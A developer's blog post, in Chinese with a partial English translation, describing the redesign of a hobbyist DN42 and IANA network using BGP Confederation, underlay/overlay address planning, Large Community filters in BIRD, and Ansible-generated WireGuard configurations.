悠笙の开发日记

DN42&OneManISP - 联邦, 自动化, IPAM 与 Overlay Network

Fri, 24 Jul 2026 10:56:00 GMT

本文不详细展开代码实现, 仅记录内网架构设计过程和自动化实现思路. 若需要参考代码/配置文件, 可参阅 iYoRoy-Network/bird2-config: BIRD2 Configuration for iYoRoy Network (AS4242422024, AS205369). 仓库包含较多的 AI 生成代码.

本文仅借用 Underlay/Overlay 的逻辑分层概念（基础层/业务层），特指地址角色的分离，不涉及 VXLAN/GRE 等隧道封装技术。

TL;DR

对整个内网架构进行了一次重构, 原本按“DN42 / IANA / WireGuard / BIRD 配置文件”水平切开的网络, 改造成一套按网络意图组织的基础设施. 最终设计可以概括为:

用 WireGuard 承载节点间 underlay transport;
用 BGP Confederation 替代 OSPF / full-mesh iBGP, 作为内部路由骨干;
用 Underlay / Overlay 分离节点身份和服务地址;
用 Tier / Region / Node ID / Token 自动派生 AS、loopback 和 link-local;
用 BGP Large Community 表达路由来源、传播范围和导出策略;
用 Ansible 把高层 peer intent 编译成 WireGuard + BIRD + interface 配置并自动下发.

背景

在这两个系列之前的一些文章中, 我们已经成功运营起了 DN42 AS 和 IANA AS, 并且同一套基础设施同时承载着两张网的流量. 在先前的 DN42&OneManISP - 共存环境下的OSPF源地址故障排除 - 悠笙の开发日记中, 对于这两张网已经有了一个初步的拆分和隔离, 但是随着节点的增多, 手动维护这一坨东西的 WireGuard 和 BIRD 配置文件已经变得越来越复杂, 而且公网节点之间也需要互联与互相 IP Transit, 因此最终狠下心来打算对这一整套内网进行一次彻底的重构.

分析

旧架构的问题

重构之前, 各个节点之间的 DN42 路由是相互导通的, 使用 OSPF over WireGuard 作为 IGP, 在此基础上使用 Full-Mesh iBGP 来在各个边界路由器之间传递完整路由信息; 对于IANA 流量, 各个节点之间完全隔离, 每个节点单独广播自己的 /48 IANA IPv6 Prefix.

总结出来就是:

WireGuard 负责节点间隧道;
OSPF over WireGuard 负责 IGP;
DN42 边界路由器之间再跑 full-mesh iBGP;
IANA 节点基本各自独立广播自己的公网前缀.

这个架构在节点少的时候很好用, 但节点多起来之后问题开始明显:

WireGuard、OSPF、BIRD 配置需要分别维护;
新增节点需要同时改多个地方, 容易漏;
DN42 和 IANA 的路由策略互相影响, 但配置上又是分散的;
IANA prefix 的跨 PoP 调度不够自然;
有些节点只是转发节点, 却仍然被迫拥有 overlay 身份;
源地址选择、路由泄漏、内部地址暴露都变得越来越难控制.

设计目标与 BGP Confederation

这次重构主要希望达成的几个目标:

节点加入要简单: 最好只需要描述节点身份和 peer 关系;
DN42 / IANA / 内网骨干要能共享基础设施, 但策略上互相隔离;
IP 地址应该是可以调度的资源, 而不是节点的固定身份;
内部拓扑不应该泄漏到外部 BGP peer;
配置应该由声明式数据生成, 而不是手写大量重复 WireGuard/BIRD session;
部署流程自动化

同时还有其他的一些比较细碎的需求:

部分 IANA 节点希望能承载其他节点的 IP Transit, 用 IANA PoP 来为其他节点广播公网 IP
当前 IANA AS 是たのしい和我共同在维护, 我们之间需要达成统一的协调, 部分基础设施需要互相 Transit 以及调控路由
我们只有一个 44Net IPv4 /24 (Sponsored by たのしい), 要播的话所有节点都需要 iBGP 互联和 IGP, 否则只能一个 PoP 使用
IANA AS 需要承接下游
IANA PoP 之间需要路由调优

先前的 IANA IPv6 Prefix 分配规则遵循的是 大洲 3 bits + 地区 3 bits + 同地区多节点 2 bits, 由一个完整的 /40 拆出来若干 /48, 但是因为某些上游限制播出前缀数量, 再加上这样碎片化的前缀不利于做 IPAM, 因此我们打算最终合并对外广播只详细到大洲层面, 其次走内部 iBGP 路由来处理更加详细的部分.

たのしい那边的内网结构是 BGP Confederation, 用的是手动模拟的方案.

其实这样分析下来内网的架构就可以很轻松的定下来了, 最符合需求的就是把内网也切换成 BGP Confederation, 然后利用 BGP as IGP 的理念, 在联邦内广播 /32 和 /128 来处理内部路由. 同时, 因为联邦避免了传统 iBGP 水平分割的特性, 所以联邦不需要严格 Full-Mesh, 也不需要单独起 iBGP, 非常的去中心化啊xD

同时, BGP Confederation 可以很轻松的和たのしい那边的基础设施合并, 只需要我们两边都将对方的内部 AS 视作联邦 AS 处理即可.

这个方案还有一个好处, 因为实际上我们之间的基础设施包含关系是这样的:

graph 
    subgraph 4242423377 Infrastructure
        3377_DN42_PoP[DN42 PoP]
        3377_IANA_PoP[IANA PoP]
    end
    subgraph 4242422024 Infrastructure
        2024_DN42_PoP[DN42 PoP]
        2024_IANA_PoP[IANA PoP]
    end
    3377_IANA_PoP <==跨基础设施联邦==> 2024_IANA_PoP
    3377_DN42_PoP <--> DN42 <--> 2024_DN42_PoP
    3377_IANA_PoP <--> IANA <--> 2024_IANA_PoP

我们之间的 DN42 PoP 和 Transit 是隔离的, 但是 IANA PoP 和 Transit 又是互通的, 在 BGP Confederation 场景下, 可以利用过滤器 + BGP (Large) Community 来对路由来源进行隔离的同时互通 IANA 之间的 Traffic Engineering 意图, 实现同一套标准两份基础设施通用.

Overlay 与 IPAM

在旧设计里, 一个节点通常同时承担两种身份:

它是网络中的一个路由器;
它也是 DN42 / IANA 中可以被访问的服务地址持有者.

重构之后, 我决定把这两种身份拆开:

Underlay: 节点作为路由器的身份, 用于内部互联、下一跳、隧道和转发;
Overlay: 节点对外提供服务或承接流量时使用的 DN42 / IANA 地址.

这样, 一个节点可以只参与转发而没有 DN42 IPv4; 也可以在需要时临时宣告某个 overlay /32 或 /128.

实际应用场景下, 我的 DN42 段地址不算很充裕, 当初注册的是 /28, 只有 16 个可用地址. 有些节点比如 IEPL 之类的隧道节点或者 IX 节点, 它们只作转发作用, 不需要承载服务, 不需要被外部连接, 因此理论上并不需要为其分配独立可访问的 DN42/IANA 地址.

再加上, 前面我们已经打算将内网切换成 BGP Confederation, 基于此套配置, 我们可以将原本 DN42 + IANA 这样水平分割的网络结构重新规划, 改成 Underlay + Overlay 的垂直划分, DN42 和 IANA 的地址/流量作为上层 Overlay Network 的负载, 下层 Underlay Network 用作节点间底层通讯和转发的基础设施. 在这种情形下, IP 地址变成了一种可以被在内网里轻松调度的资源而非和节点绑定的唯一 ID.

这样的优势很明显:

节省稀缺地址资源: 转发节点可以只拥有 underlay 身份, 不必分配 DN42 IPv4 或公网地址;
Anycast 与地址迁移: Overlay 地址变成可以通过 BGP 调度的资源, 不再强绑定某台机器;
隐藏转发节点: 纯转发节点不需要暴露全局可达地址, 外部更难直接探测内部拓扑;
新节点入网简单: 新节点先加入 underlay, 需要承载业务时再分配 overlay 地址;
优雅 Transit 交付: IANA PoP 可以通过内部 confederation 把客户前缀或服务地址投递到其他节点.

设计

综上所述, 最终设计了这样一套 IPAM 机制和自动化流程.

每个节点拥有一些基本的元数据:

Tier: 指代当前节点用途, 如用作骨干网, 接入 IX, 或是作为网内节点
Region: 节点所在大洲区域
ID: 同区域下该节点ID
Token: 给该节点分配的一个随机 16bit 字符串, 在 IPv6 下给节点作为唯一 ID 使用

对于 Tier 和 Region, 编写了几张表格作为数据来源:

Tier	Desc
1	Backbone
2	IX
3	Backbone + IX Mixed
9	Node

Region	Desc
0	Reserved
1	Asia
2	Europe
3	Africa
4	North America
5	South America
6	Oceania
7	Antarctica

联邦 AS: 4220240000 - 4220249999

分配规则:

422024{tier}{region}{node_id:02d}

其中 tier 指代节点用途, region 指代节点所在区域, 最后两位 node_id 用于区分同区域内的不同节点.

Underlay IPAM

IPv4 Prefix: 100.64.0.0/16
分配规则:

100.64.{tier*10 + region}.{node_id}/32

IPv6 Prefix: fd18:3e15:61d0:ffff::/64
分配规则:

fd18:3e15:61d0:ffff:{tier}:{region}::{node_token}/128

为了简化自动化流程, 我打算将 WireGuard 隧道之间的 Link-Local 地址也接入自动化管理, 利用上述 Tier, Region, Token 生成, 由自动化脚本生成 WireGuard 配置并自动配置隧道和联邦 BGP Session.
Link-Local 分配规则也大体上沿用普通 IPv6 的规则:

fe80::2024:{tier}:{region}:{node_token}/64

这样, 每个节点只需要为其指派元数据便可以按照上述规则自动生成内网联邦 AS 和地址.

Overlay IPAM

DN42 IPv4 部分就手动指派了, 这部分存在一些历史遗留架构, 修改需要合并到官方 Registry, 因此就打算手动指派.
Underlay 的 IPv6 本身是 DN42 可达的, 如果还要分配其他 DN42 IPv6 直接按需广播即可.

对于 IANA IPv6, 目前的设计格式是先按照最初提出的规则计算大洲 /43, 比如亚洲为:

2a14:7583:f220::/43

再按照地区计算出 /46, 比如香港地区 HKG:

2a14:7583:f224::/46

接着将从 /46 到 /112 全部置零, 最后的 16bits 填入节点 Token 作为节点的 IANA IPv6 地址. 比如我的某台香港地区骨干网节点:

2a14:7583:f224::7d89/128

Community 隔离机制

在这套架构里, BGP Large Community 实际上就是一条路由在不同模块和基础设施之间传递的元数据信息和控制信息. 基于这些元数据, 我们在向不同外部对等体导出路由的时候就能判断:

它属于 DN42 还是 IANA?
它是本地生成、下游带来、peer 学到, 还是 upstream 学到?
它能不能导出到别的 AS?
它是不是 underlay-only?
这条路由需不需要 prepend as?

举个具体的例子, 比如用第一位标识路由来源/目标是 DN42 还是 IANA, 允许发往 DN42 的路由全部会被打上

(4242422024, 1, 1)

同理, 发往 IANA 的路由全部会被打上

(205369, 1, 1)

在各个 Protocol 中, 这一项作为总开关, 控制是否应当导出. IANA 的上游导出过滤器:

template bgp iana_upstream_v6 {
	...
	
    ipv6 {
		...
        import filter {
            if !iana_filter_default_check() then reject;  # 基础检查
            remove_confederation_as();                    # 移除 confederation as, 防止外部 peer 恶意携带内部 as
            remove_private_community();                   # 移除私有 community, 防止外部 peer 恶意操纵内部路由
            iana_upstream_add_community();                # 为所有来自 IANA 的路由打上允许在 IANA 基础设施广播的 community
            accept;
        };
        export filter {
            if !iana_filter_default_check() then reject;     # 基础检查
            if !iana_upstream_check_community() then reject; # 检查 community, 是否是发往 IANA 的路由/是否携带了 no-advertise/no-export 等
            remove_confederation_as();                       # 移除 confederation as
            remove_private_community();                      # 移除私有 community
            accept;
        };
		...
    };
	...
}

其中 iana_filter_default_check() 用于检查前缀长度, ROA, 是否是默认路由等比较琐碎的内容:

function iana_filter_default_check(){
    if net ~ [::/0] then return false;
    if net.len > 48 then return false;
    if bgp_large_community ~ [(IANA_OWNAS,1,1)] && is_self_iana_v6() then return true;
    if roa_check(iana_roa_v6, net, bgp_path.last) = ROA_INVALID then return false;
    return true;
}

remove_confederation_as(), 顾名思义, 移除联邦内部 AS:

function remove_confederation_as() {
    bgp_path.delete([4220240000..4220249999]); # 4242422024 Infrastructure
    bgp_path.delete([4233770000..4233779999]); # 4242423377 Infrastructure
}

remove_private_community(), 顾名思义, 移除内部 Community. 这部分目前实施的很粗糙, 后续需要详细细化, 因为部分 Community 应当对下游开放, 使其可以通过 Community 来传递路由意图, 做一些优化, 比如 prepend AS path, 可用于路由调优或者流量工程:

function remove_private_community(){
    bgp_large_community.delete([(4242422024, *, *)]);
    bgp_large_community.delete([(205369, *, *)]);
}

iana_upstream_add_community(), 为来自上游的路由全都打上允许在 IANA 基础设施流通的 Community 以及路由来源标识:

function iana_upstream_add_community(){
    bgp_large_community.add((205369,1,1));
    bgp_large_community.add((205369,2,102));
}

其中, (205369,2,102) 标识该路由来自于上游. 路由来源分为三种, 上游, 对等体, 下游/客户/自己(看作客户). 对这三种不同类型的 BGP Session, 导出的路由通常不相同:

对上游, 我们需要让上游帮我们广播我们自己的和我们下游的段, 因此需要向上游导出所有来自下游的前缀
对下游, 我们需要为其提供网络服务, 需要向其导出我们知道的所有路由, 即来自上游, 对等体, 下游的路由
对对等体, 对等体之间的连接仅仅是为了双方互相访问彼此的网络, 因此不能互相导出互相的上游或者对等体, 不然就变成免费 Transit/Tunnel 了, 因此只导出来自下游的路由在当前内网中与之对应的, 来自对等体的会被打上(205369,2,101), 来自下游的会被打上(205369,2,100).

iana_upstream_check_community() 会检查路由的 Community, 基于上述原则判断其是否应该被广播给上游:

function iana_upstream_check_community(){
    if !(bgp_large_community ~ [(205369,1,1)]) then return false;      # 没被允许在 IANA 基础设施广播, 则拒绝
    if bgp_large_community ~ [(205369,65535,65282)] then return false; # no-advertise
    if bgp_large_community ~ [(205369,65535,65281)] then return false; # no-export
    if bgp_community ~ [(65535,65281)] then reject;                    # no-advertise
    if bgp_community ~ [(65535,65282)] then reject;                    # no-export

    if bgp_large_community ~ [(205369,2,0)] then return false;         # 来自内网, 该 community 被用于标识路由来自内网, 不应该往外广播, 此处拒绝广播
    if bgp_large_community ~ [(205369,2,101)] then return false;       # 来自对等体, 拒绝广播
    if bgp_large_community ~ [(205369,2,102)] then return false;       # 来自上游, 拒绝广播

    return true;
}

同理, 对于 DN42 也是类似的检查机制. 基于这套机制, 可以很轻松的隔离 DN42 和 IANA 两张网.

上述只是一个大致的解释, 更细的 community 设计和各类出口策略其实还可以继续展开, 但那就会变成另一篇路由策略详解了.

这部分其实大量参考来源于たのしい的BGP Communities, 毕竟两者基础设施需要互通, 很多 Community 规范基本上都是照搬过来的. 在此感谢たのしい大佬提供的思路~

路由生命周期

第一阶段: Ingress / Import

所有外部路由进入系统时, 先经过对应 domain 的 import filter. IANA 有三类来源:

upstream;
peer / IX;
downstream.

DN42 也有两类主要来源:

普通 transit / eBGP peer;
IX / route server.

除此之外, 本机也会产生一些 route:

underlay loopback;
DN42 overlay address;
IANA own / anycast address.

这些路由在进入联邦时会被打上 Large Community. 后面的所有 filter 都需要据此调控.

第二阶段: Core / Intra Confederation

进入 BIRD RIB 之后, 会通过内部的 Intra BGP Confederation 在节点之间传播. 此处 Intra Confederation 不止单纯为了处理连通性, 更是为了让内部路由也能携带策略信息.

先前的 OSPF 很适合解决:

这个 loopback 在哪里?
这个 next-hop 怎么到?

但是它无法传递 AS 信息和策略意图, 比如:

这条路由是 IANA peer 学来的, 不能再导给另一个 peer;
这条路由是 DN42 underlay-only, 绝不能泄漏给 eBGP;
这条路由是 downstream customer prefix, 可以导给 upstream;

这些都是 BGP policy 的强项. 所以内部骨干从 OSPF / full-mesh iBGP 转向 confederation-style BGP, 本质上是把内部控制平面升级成了“可携带策略的控制平面”.

第三阶段: Egress / Export

一条路由要离开基础设施时, 会再次经过 export filter. 此处根据 community 可以系统性的防止路由泄露并进行宏观调控如 AS prepend.

比如:

DN42 underlay route 带有 underlay-only community, 所以不会被导出到 DN42 eBGP;
IANA upstream 学来的路由不会再导给另一个 upstream;
IANA peer 学来的路由不会再导给另一个 peer;
DN42 IX 学来的路由不会再导回 IX;
NO_EXPORT / NO_ADVERTISE 会被尊重;
对外导出前会删除内部 confederation AS 和 private community.

其实总结下来就是这样一张图:

flowchart LR
    classDef ext fill:#eef7ff,stroke:#5b8def,stroke-width:1px;
    classDef local fill:#f5f5f5,stroke:#888,stroke-width:1px;
    classDef filter fill:#fff3d6,stroke:#d19a00,stroke-width:1px;
    classDef core fill:#eaf8ea,stroke:#3c9b43,stroke-width:1px;
    classDef export fill:#fdecec,stroke:#d45a5a,stroke-width:1px;

    subgraph SRC["路由来源"]
        direction TB
        IU["IANA上游<br/>传输/全量路由"]
        IP["IANA对等 / IX"]
        ID["IANA下游<br/>客户前缀"]
        DT["DN42传输 / eBGP对等"]
        DX["DN42 IX / 路由服务器"]
        LU["本地底层环回<br/>100.64.x.y / fd18:...:ffff"]
        LO["本地覆盖地址<br/>DN42自有 / IANA自有 / 任播"]
    end

    subgraph INFRA["Bird2配置基础设施"]
        direction LR

        subgraph IMPORT["入口 / 导入过滤器"]
            direction TB
            IUF["IANA上游导入<br/>标记: 205369:1:1<br/>标记: 205369:2:102"]
            IPF["IANA对等导入<br/>标记: 205369:1:1<br/>标记: 205369:2:101"]
            IDF["IANA下游导入<br/>AS-SET / 路径检查<br/>标记: 205369:2:100"]
            DTF["DN42 eBGP导入<br/>前缀 / ROA / 自身检查<br/>标记: 4242422024:2:101/102"]
            DXF["DN42 IX导入<br/>前缀 / ROA检查<br/>标记: 4242422024:2:101"]
            STF["静态起源<br/>底层/覆盖路由标记"]
        end

        META["Large Community 元数据层<br/>域 + 来源 + 作用域<br/>内部路由API"]

        subgraph CORE["内部控制平面"]
            direction TB
            RIB["BIRD路由信息库"]
            CONFED["BGP联邦内部<br/>成员AS: 422024xxxx<br/>策略: full / default / iana_full / no_iana"]
            WG["WireGuard底层传输<br/>链路本地下一跳<br/>fwmark策略路由"]
            UNDERLAY["net_underlay<br/>环回 + 表1142"]
            OVERLAY["net_overlay<br/>DN42 / IANA服务地址"]
        end

        subgraph EGRESS["出口 / 导出过滤器"]
            direction TB
            DEXP["DN42 eBGP导出<br/>拒绝 Underlay 路由<br/>遵守no-export/no-advertise"]
            DXEXP["DN42 IX导出<br/>拒绝从对等/传输学习的路由"]
            IEXP["IANA上游/对等导出<br/>仅导出本地/下游<br/>拒绝从对等/上游学习的"]
            DOWNEXP["IANA下游导出<br/>策略: default / own_only / reject"]
            KEXP["内核导出<br/>按 Community 设置krt_prefsrc"]
            CLEAN["外部导出前清理<br/>移除联邦 AS<br/>移除私有 Community"]
        end
    end

    subgraph DST["路由去向"]
        direction TB
        OD["DN42对等 / 传输"]
        OX["DN42 IX"]
        OI["IANA上游 / 对等"]
        OC["IANA下游"]
        KF["Linux内核FIB<br/>实际报文转发"]
    end

    IU --> IUF
    IP --> IPF
    ID --> IDF
    DT --> DTF
    DX --> DXF
    LU --> STF
    LO --> STF

    IUF --> META
    IPF --> META
    IDF --> META
    DTF --> META
    DXF --> META
    STF --> META

    META --> RIB
    RIB <--> CONFED
    CONFED --- WG
    WG --- UNDERLAY
    RIB --- OVERLAY

    RIB --> DEXP
    RIB --> DXEXP
    RIB --> IEXP
    RIB --> DOWNEXP
    RIB --> KEXP

    DEXP --> CLEAN --> OD
    DXEXP --> CLEAN --> OX
    IEXP --> CLEAN --> OI
    DOWNEXP --> CLEAN --> OC
    KEXP --> KF

    class IU,IP,ID,DT,DX ext;
    class LU,LO local;
    class IUF,IPF,IDF,DTF,DXF,STF filter;
    class META,RIB,CONFED,WG,UNDERLAY,OVERLAY core;
    class DEXP,DXEXP,IEXP,DOWNEXP,KEXP,CLEAN export;
    class OD,OX,OI,OC,KF ext;

自动化: 把网络意图编译成配置

前面讲了这么多 IPAM, Confederation AS, Underlay / Overlay 和 BGP Community, 这些设计如果最后还是靠手写配置维护, 那其实并没有真正解决问题, 只是把复杂度从一种形式搬到了另一种形式. 在这次重构之前, 新增一个节点或者 peer 往往需要同时修改很多地方:

WireGuard 配置: interface 名称, listen port, peer public key, endpoint, allowed IPs
BIRD 配置: BGP protocol 名称, neighbor 地址, neighbor interface, ASN, import/export filter
IPAM 相关配置: loopback, link-local, router id, overlay 地址
部署相关配置: 哪些节点需要渲染, 哪些服务需要重启
一些特殊情况: NAT 后面的节点, passive peer, 特殊 local AS, 特殊 filter

这些东西在逻辑上其实描述的是同一件事: 两个节点之间存在一条属于某个路由域的连接.
但是在手工配置里, 它们会散落在 WireGuard, BIRD, network interface, systemd/openrc 等多个地方. 只要其中一个字段漏改或者不一致, 就可能出现很诡异的问题, 比如 WireGuard 已经起来了, 但是 BIRD neighbor 指向了错误的 interface; 或者 link-local 改了, 但是对端 session 里还写着旧地址.

所以这次重构里, 我不希望 Ansible 只是一个"把 YAML 填进 Jinja2 模板"的工具. 如果只是把原来的手写配置搬进模板, 本质上还是在维护一堆低层配置, 只是换了个文件格式而已. 既然都上自动化了, 那输入不应该是"我要生成一个长什么样的配置文件", 而应该是:

这个节点是谁
它属于哪个 tier / region
它和谁互联
这条连接属于 DN42, IANA 还是 Intra
这条连接应该使用什么 import/export policy
它是否有 NAT, passive, endpoint override 之类的特殊约束

至于具体的 WireGuard interface 怎么写, BIRD session 怎么写, link-local 地址是什么, 这些都应该尽量由自动化系统根据规则生成.

Source of Truth: 节点状态而不是配置文件

这套自动化的输入主要放在 Ansible 的 host_vars 里, 每个节点的变量不再只是模板渲染需要的参数, 而是这个节点在网络里的身份描述. 例如一个节点至少会有:

tier: 节点层级, 比如 backbone, IX, 普通 node
region: 节点所在区域
node_id: 同区域内的节点编号
node_token: 一个稳定的 16-bit token, 用来生成 IPv6 地址尾部

这些字段会被用于 IPAM 的地址管理和 Confederation 内节点的识别信息 (就像前面提到的, AS 计算和 IP 地址派生). 这样做的好处是, 新节点加入时, 我们只需要给这个节点配置好基本的元数据, 它在 underlay 里的所有基础身份就都是确定的. 这可以大量减少后续维护工作. 如果 link-local 地址是手写在每个 BIRD session 里的, 那么一旦节点 token 或地址规则发生变化, 所有对端都要一起改; 但如果 BIRD neighbor 地址是根据 peer node 的 metadata 自动派生出来的, 那么它永远和 source of truth 保持一致.

Domain Intent: peer 声明式配置

这次自动化里最重要的抽象是 Domain Intent, 也就是将 Session 和与之对应的 WireGuard 隧道绑定视作一个整体, 再按照所属网络类型 (DN42/IANA/Intra) 进行区域划分. 以 Intra peer 为例, 一条内部连接本质上同时需要两类配置:

WireGuard interface, 用来提供传输层隧道
BIRD BGP session, 用来在这条隧道上交换路由

如果手动维护, 这两部分很容易重复描述同样的信息:

interface name
peer node
listen port
endpoint
neighbor interface
BGP protocol name
import/export policy

所以我们将常规 Intra peer 抽象成一条 peer intent. 简化之后大概像这样:

- node: tyo03-jp
  interface: intra_tyo03
  wireguard:
    listen_port: 10234
    passive: true
  bgp:
    protocol: intra_ibgp_tyo03
    ipv4:
      import_policy: full
      export_policy: full
    ipv6:
      import_policy: full
      export_policy: full

这条声明并不是直接对应某一个配置文件, 而是对 Peer 意图进行描述:

当前节点和 tyo03-jp 之间有一条名为 intra_tyo03 的内部连接, 这条连接使用 WireGuard 承载, 并在其上建立一条 Intra BGP session, BGP policy 使用 full.

之后 Ansible 基于此自动渲染对应 WireGuard 和 BIRD 配置.

这样, 一个 peer 关系只需要描述一次, 后面的低层配置都由自动化生成. 例如 BIRD neighbor 的 link-local 地址不需要手写, 可以通过对端节点的 tier / region / node_token 自动得到; WireGuard endpoint 也可以根据对端 inventory 里的 ansible_host 和对端回程 peer 的 listen_port 自动推导.

这样做最大的优点是可以避免多个配置层之间出现状态不一致.

自动派生 endpoint 与 passive peer

在我的内网架构中, 并不是所有节点都有完全对称的公网可达性, 比如有的节点 / DN42 Peer 在 NAT 后面, 只能主动连出去, 有些隧道需要固定某一端作为监听, 由另一端主动发起连接, 因此 peer intent 里需要支持被动监听这样的特殊情况. 如果一个 peer 不是 passive, 自动化可以尝试从对端 inventory 中读取 ansible_host, 再结合对端声明中的 listen_port, 自动生成 WireGuard endpoint:

endpoint = peer_ansible_host + ":" + peer_return_listen_port

如果 peer 标记为 passive, 则不渲染 endpoint, 让对端主动发起连接.

本质上 endpoint 是由"对端如何被访问"和"对端监听哪个端口"共同决定的, 这两个信息本来就已经存在于 inventory 和 peer intent 里, 没必要再复制一遍. 当然, 对于特别奇怪的链路, 保留最基础的手动覆盖 endpoint. 自动化的目标不是消灭所有特殊情况, 而是让常规情况不需要特殊处理.

通用场景 & 例外

其实就是为了特殊情况考虑的 Fallback:

历史遗留 tunnel
DN42 上承载的特殊内部 peer
NAT 后面的节点
临时 workaround
对端要求奇怪的 BGP 参数
某些 session 需要特殊 local AS
某些路由只想进入 IANA domain, 不应该进入 DN42 domain

最后保留的设计是: 大部分普通 Intra peer 可以通过 domain intent 生成 WireGuard + BIRD, DN42 peer 的 WireGuard 也可以从 DN42 peer intent 里生成, 但是一些特殊 BIRD session, 比如需要单独指定 local_as, 或者需要使用特殊导出策略的 session, 仍然可以继续用低层配置显式声明. 最终渲染前, Ansible 会把生成的配置和 legacy/manual override 合并成最终配置.

这样做的好处是, 自动化覆盖了 90% 重复且容易出错的部分, 同时给剩下 10% 特殊情况也预留了位置.

配置渲染

整个渲染过程大概可以理解成这样:

flowchart TD
    A[host_vars: node metadata + domain intent] --> B[materialize domain intent]

    B --> C[effective_wireguard_interfaces]
    B --> D[effective_intra_ibgp_sessions]

    C --> E[render wg-quick configs]
    D --> F[render BIRD intra sessions]

    A --> G[render BIRD root / DN42 / IANA modules]
    A --> H[render underlay / overlay interfaces]

    E --> I[.rendered-wireguard]
    F --> J[.rendered]
    G --> J
    H --> K[.rendered-network]

这里有三类最终产物:

.rendered/: BIRD 配置
.rendered-wireguard/: WireGuard 配置
.rendered-network/: underlay / overlay dummy interface 配置

BIRD 配置里又分成几个模块, 这部分是通过 Jinja2 Templates 编写的, 实际拆分 Overlay Network 也是通过这里:

root config: 全局 define, include, kernel protocol
DN42 module: DN42 filter, RPKI, eBGP peer, IX peer
IANA module: upstream, downstream, peer, RPKI, static route
Intra module: confederation-style BGP session, static route, internal filter

这些模块是否 include, 也尽量由数据自动决定, 比如一个节点没有 DN42 peer, 就不需要渲染和 include ebgp.conf; 没有 IX session, 就不需要 include ix.conf. 这可以减少空配置和无意义 include, 也避免某些节点因为缺少相关变量导致模板渲染失败.

验证 & 部署

最终部署流程还添加了一些检查和验证阶段:

render BIRD
validate BIRD
render WireGuard
validate WireGuard
deploy dummy interfaces
deploy WireGuard
deploy BIRD

BIRD 配置先在本地渲染和验证, 尽量提前发现语法错误; WireGuard 配置也先渲染和验证, 避免缺 key 或者生成出明显非法的 wg-quick 配置; 最后验证都通过了再部署底层 interfaces + WireGuard, 最后才上传并 reload BIRD.

总结

我不行了这文章给我写力竭了, 这玩意的架构用线性的语言叙述怎么这么难

理顺之后代码基本上都交给 AI 写的, 效果还行, 如需参考可查阅 bird2-config/ansible at dev · iYoRoy-Network/bird2-config.

这套方案的适用情形其实挺窄的, DN42 + IANA 这种 BGP Player 场景还是太小众了 xD. 而且这套方案能正常运行, 很大一部分原因是 IANA 的前缀和 DN42 以及我自己的内网选择的网段完全不冲突, 若 Transit 网段存在冲突的话, 可能还是得考虑 VRF/MPLS L3VPN 这类正儿八经 ISP 会用的隔离方案.

参考文章:

DN42&OneManISP – Confederation, Automation, IPAM and Overlay Network

Fri, 24 Jul 2026 10:56:00 GMT

This article does not go into implementation details in depth; it only records the internal network architecture design process and automation ideas. If you need reference code or configuration files, please see iYoRoy-Network/bird2-config: BIRD2 Configuration for iYoRoy Network (AS4242422024, AS205369). The repository contains a significant amount of AI-generated code. This article only borrows the logical layering concept of Underlay/Overlay (base layer/business layer), specifically referring to the separation of address roles, and does not involve tunneling encapsulation technologies such as VXLAN/GRE.

TL;DR

The entire internal network architecture was refactored. What was originally a horizontally split network based on “DN42 / IANA / WireGuard / BIRD config files” was transformed into a set of infrastructure organised by network intent. The final design can be summarised as:

Use WireGuard to carry underlay transport between nodes;
Use BGP Confederation instead of OSPF / full-mesh iBGP as the internal routing backbone;
Separate node identity and service addresses with Underlay / Overlay;
Automatically derive AS, loopback and link-local addresses from Tier / Region / Node ID / Token;
Use BGP Large Community to express route origin, propagation scope and export policy;
Use Ansible to compile high-level peer intent into WireGuard + BIRD + interface configurations and deploy them automatically.

Background

In some earlier articles from these two series, we successfully brought up a DN42 AS and an IANA AS, with the same infrastructure carrying traffic for both networks simultaneously. In a previous post, DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment - iYoRoy's Develop Diary, there was already some initial separation and isolation for the two networks. However, as the number of nodes grew, manually maintaining the WireGuard and BIRD configuration files for this whole thing became more and more complex. Moreover, public network nodes also needed to interconnect and provide mutual IP transit, so in the end I decided to do a thorough refactoring of this entire internal network.

Analysis

Problems with the Old Architecture

Before the refactoring, DN42 routes between nodes were mutually propagated, using OSPF over WireGuard as the IGP, with full-mesh iBGP on top to carry full routing information between border routers. For IANA traffic, nodes were completely isolated from each other, with each node independently advertising its own /48 IANA IPv6 prefix.

To sum up:

WireGuard was responsible for tunnels between nodes;
OSPF over WireGuard was responsible for the IGP;
DN42 border routers ran full-mesh iBGP on top;
IANA nodes basically each independently advertised their own public prefixes.

This architecture worked well when there were few nodes, but problems started to become apparent as the number of nodes increased:

WireGuard, OSPF, and BIRD configurations had to be maintained separately;
Adding a new node required changes in multiple places, making it easy to miss something;
Routing policies for DN42 and IANA influenced each other, yet the configuration was scattered;
Cross-PoP scheduling of IANA prefixes was not natural;
Some nodes were only transit nodes but were forced to have an overlay identity;
Source address selection, route leaks, and exposure of internal addresses became increasingly difficult to control.

Design Goals and BGP Confederation

The main goals for this refactoring were:

Adding nodes should be simple: ideally, only the node identity and peer relationships need to be described;
DN42, IANA and the internal backbone should be able to share infrastructure while remaining policy-isolated from each other;
IP addresses should be schedulable resources, not fixed identities of nodes;
The internal topology should not leak to external BGP peers;
Configurations should be generated from declarative data, not by handwriting lots of repetitive WireGuard/BIRD sessions;
The deployment process should be automated.

There were also several other, more detailed requirements:

Some IANA nodes should be able to carry IP transit for other nodes, using an IANA PoP to advertise public IPs for other nodes;
Currently, the IANA AS is maintained jointly by たのしい and myself; we need to coordinate, with some infrastructure needing mutual transit and route tuning;
We only have one 44Net IPv4 /24 (sponsored by たのしい); if we want to advertise it, all nodes would need iBGP interconnection and an IGP, otherwise only a single PoP can use it;
The IANA AS needs to accept downstreams;
Route optimization is needed between IANA PoPs.

The previous IANA IPv6 prefix assignment rule followed Continent 3 bits + Region 3 bits + Multi-node within region 2 bits, carving several /48s out of a complete /40. However, due to certain upstream limitations on the number of advertised prefixes, and because such fragmented prefixes are unfavourable for IPAM, we planned to eventually aggregate external advertisements only to the continent level, and then handle more detailed parts via internal iBGP routing.

The internal network structure on たのしい's side is BGP Confederation, implemented with a manually simulated approach.

Actually, after this analysis, defining the internal network architecture became quite straightforward: the most suitable solution was to switch the internal network to BGP Confederation as well, and then utilise the concept of "BGP as IGP" to advertise /32 and /128 routes within the confederation to handle internal routing. At the same time, because a confederation avoids the split-horizon characteristic of traditional iBGP, it doesn't require strict full-mesh, nor does it need separate iBGP instances, making it very decentralized xD.

Furthermore, BGP Confederation can be easily merged with たのしい's infrastructure, requiring only that both sides treat the other's internal ASes as confederation ASes.

This solution has another benefit, because the containment relationship of our infrastructure is actually like this:

